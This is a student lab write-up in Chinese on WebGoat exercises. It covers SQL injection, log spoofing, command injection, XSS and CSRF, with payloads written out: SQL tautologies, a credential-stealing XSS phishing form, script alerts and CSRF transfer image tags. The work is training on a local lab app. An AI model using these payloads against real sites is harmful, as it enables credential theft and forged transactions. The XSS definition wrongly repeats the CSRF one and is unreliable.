Web安全基础实践

标签(空格分隔): <<网络对抗>>


目录

基础问题回答

  1. SQL注入攻击原理,如何防御?
  • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

    - 防御:

    1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。

    2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

    3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

    5.应用的异常信息应该给出尽可能少的提示。

    6.采取辅助软件或网站平台来检测sql注入。
  1. XSS攻击的原理,如何防御?
  • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sess ionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利 用,通过伪装来自受信任用户的请求来利用受信任的网站。是一 种依赖web浏览器的、被混淆过的代理人攻击。

    - 防御

    1. 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会 对“javascript”这个关键字进行检索,一旦发现提交信息中包 含“javascript”,就认定为XSS攻击。

    2. 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

    3. 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  1. CSRF攻击原理,如何防御?

    - 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

    - 防御

    1. 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

    2. “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。

    3. 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

WebGoat

  • ** WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。**
  • 去找了好多资源下载,都是被墙掉了。
  • 虽然webgoat已经有V8了 但是在网上大家都说7.1最稳定,所以我们使用的是webgoat v7.1

webgoat v7.1 百度云下载

  • 提取码: xkxh

  • 开启webgoat 下载好webgoat的jar文件后,执行java -jar webgoat-container-7.1-exec.jar



- 打开浏览器输入localhost:8080/WebGoat注意W G大写。

SQL字符串注入(String SQL Injection)

  • 造成这个问题的原因是编码问题,可以让程序员背锅的,毕竟可以说是他们编写的代码质量不过关导致的。

    - SQL注入攻击,入手点在web 但是从根本上来说是SQL的问题。

    - 尝试注入一个SQL字符串,以显示所有信用卡号码。 尝试使用'Smith'的用户名。

  • 图片中可以看到提供的源码SELECT * FROM user_data WHERE last_name = 'Smith'

    收索数据库user_data只要出现Smith就显示出来。
  • 输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以不管姓啥都是对的,都能被显示出来,这是最简单的SQL注入攻击。还有使用注释符去注释掉密码,从而登入数据库的等等。主要防御方式是字符串过滤。下图是结果。

日志欺骗(Log Spoofing)

  • 利用日志的格式,使用换行等字符,欺骗管理员
  • url参数带有%0d%0a , 在servlet里得到包含这个字段的string时, %0d%0a 会被转义为回车。还是代码编码问题。

数字型SQL注入(Numeric SQL Injection)

  • 题目要求:下面的表格允许用户查看天气数据。 尝试注入一个导致所有天气数据显示的SQL字符串。

    - 原理就是构造永真式

  • 成功

命令注入(Command Injection)

- 题目的要求是:尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令

- 通过火狐浏览器的inspect Element对源代码进行修改

- 成功截图如下。

Stage 1:String SQL Injection

  • 要求,使用字符串注入在没有正确密码的情况下登录账号boss
  • 第一反应测试一下 有没有过滤字符。
  • 查看了一下源码发现了小秘密

  • 可以入手了,使用'or 1=1 --'隐去密码试试可以登录么。

  • 失败了,会想起在看代码时 发现源码对密码长度进行了限制

    - 修改一下试试

  • 成功了 截图如下

Phishing with XSS

  • 这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点
    </form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 结果如下

Stored XSS Attacks

  • 要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
  • 在Message中构造语句<script>alert("5329 attack succeed!");</script>,提交后,可以发现刚刚创建的帖子20155229

Block Reflected XSS

  1. 登陆larry用户,修改用户资料,把Street修改为<script>alert('xss')</script>
  2. Update更新数据,显示下图。说明这个XSS是可行的。



    3 .然后退出Larry用户,登陆Moe查看Larry的信息,验证攻击是否成功~

  3. SUCCESS!!

Reflected XSS Attacks(反射型XSS)

Cross Site Request Forgery(CSRF)

  • 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等
  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
    • 在massage 框里输入
<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5329"/>
  • 像我这种手贱的人,一点图片 钱就没了。钱没了

CSRF Prompt By-Pass

  • 分析

    - 这个攻击需要两部,一次输入转账的数目,第二次确认,没有验证码的时代好危险。。。。
<img src="?transferFunds=4000" />

<img src="?transferFunds=CONFIRM" />

CSRF Token By-Pass

  • 题目要求

    - 需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。

    - 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。
  • 额 没做出来。

实验体会

  • 本次实验中在SQL注入的花费的时间最多,看源码看的眼睛疼。在看代码的同时巩固了上学期的Web知识。也深深领会到了代码质量的重要性。对XSS和CRSF也有了一定的认识

Web安全基础实践的更多相关文章

  1. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  2. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  3. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  4. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  5. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  6. 20155304 《网络对抗》Exp9 web安全基础实践

    20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...

  7. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  8. 20145336 张子扬 《网络对抗技术》 web安全基础实践

    2014536 张子扬<网络攻防>Exp9 Web安全基础实践 实验准备 开启webgoat 1)开启webgoat,打开WebGoat: java -jar webgoat-contai ...

  9. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  10. 20145120黄玄曦《网络对抗》Web安全基础实践

    20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...

随机推荐

  1. Android 借助Stetho在Chrome上调试Android网络、数据库、Sharedpreferences

    Android 借助Stetho在Chrome上调试Android网络.数据库.Sharedpreferences 转载请标明出处:http://blog.csdn.net/zhaoyanjun6/a ...

  2. mongodb3.X权限配置

    环境: CentOS6.8  mongodb3.4.1 1.连接mongodb数据库(如果mongo命令没有做环境变量配置,需要定位到有mongo命令的目录) [root@VM_118_34_cent ...

  3. 网站软件FTP下载

    网站软件FTP下载  统一管理站 http://www.mmnt.net/ db2 http://www.mmnt.net/db/0/0/public.dhe.ibm.com/software/hk/ ...

  4. 转:js小技巧 ,将彻底屏蔽鼠标右键,可用于Table ,取消选取、防止复制,IE地址栏前换成自己的图标

    1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键<table border oncontextmenu= ...

  5. excel如何冻结首行或首列及首行首列同时冻结

    冻结首行方法: 首先选择首行,在菜单栏选择视图菜单,再选择冻结窗格下拉三角里的冻结首行即可. 效果如下:拖动垂直滚动条 冻结首列方法: 首先选择首列,在菜单栏选择视图菜单,再选择冻结窗格下拉三角里的冻 ...

  6. 调用webservice 的时候没法输入参数

    在web.config的<system.web></system.web>中间加入如下配置节内容<webServices> <protocols> &l ...

  7. Windows7 添加快速启动栏

    解决方案: 1.右击任务栏空白处,选择“工具栏”,单击“新建工具栏”: 2.输入“%userprofile%\AppData\Roaming\Microsoft\Internet Explorer\Q ...

  8. opensuse编译安装Python3后缺少zlib

    目录 opensuse编译安装Python3后缺少zlib 前言 编译安装 python导入zlib 重新编译python并指定zlib opensuse编译安装Python3后缺少zlib 前言 由 ...

  9. November 08th, 2017 Week 45th Wednesday

    Keep your face to the sunshine and you cannot see the shadow. 始终面朝阳光,我们就不会看到黑暗. I love sunshine, but ...

  10. 用JS制作《飞机大作战》游戏_第2讲(四大界面之间的跳转与玩家飞机的移动)-陈远波

    一.通过点击按钮事件,实现四大界面之间的跳转: (一)跳转的思路: 1.打开软件,只显示登录界面(隐藏游戏界面.暂停界面.玩家死亡界面) 2.点击微信登录(QQ登录)跳转到游戏界面,隐藏登录界面 3. ...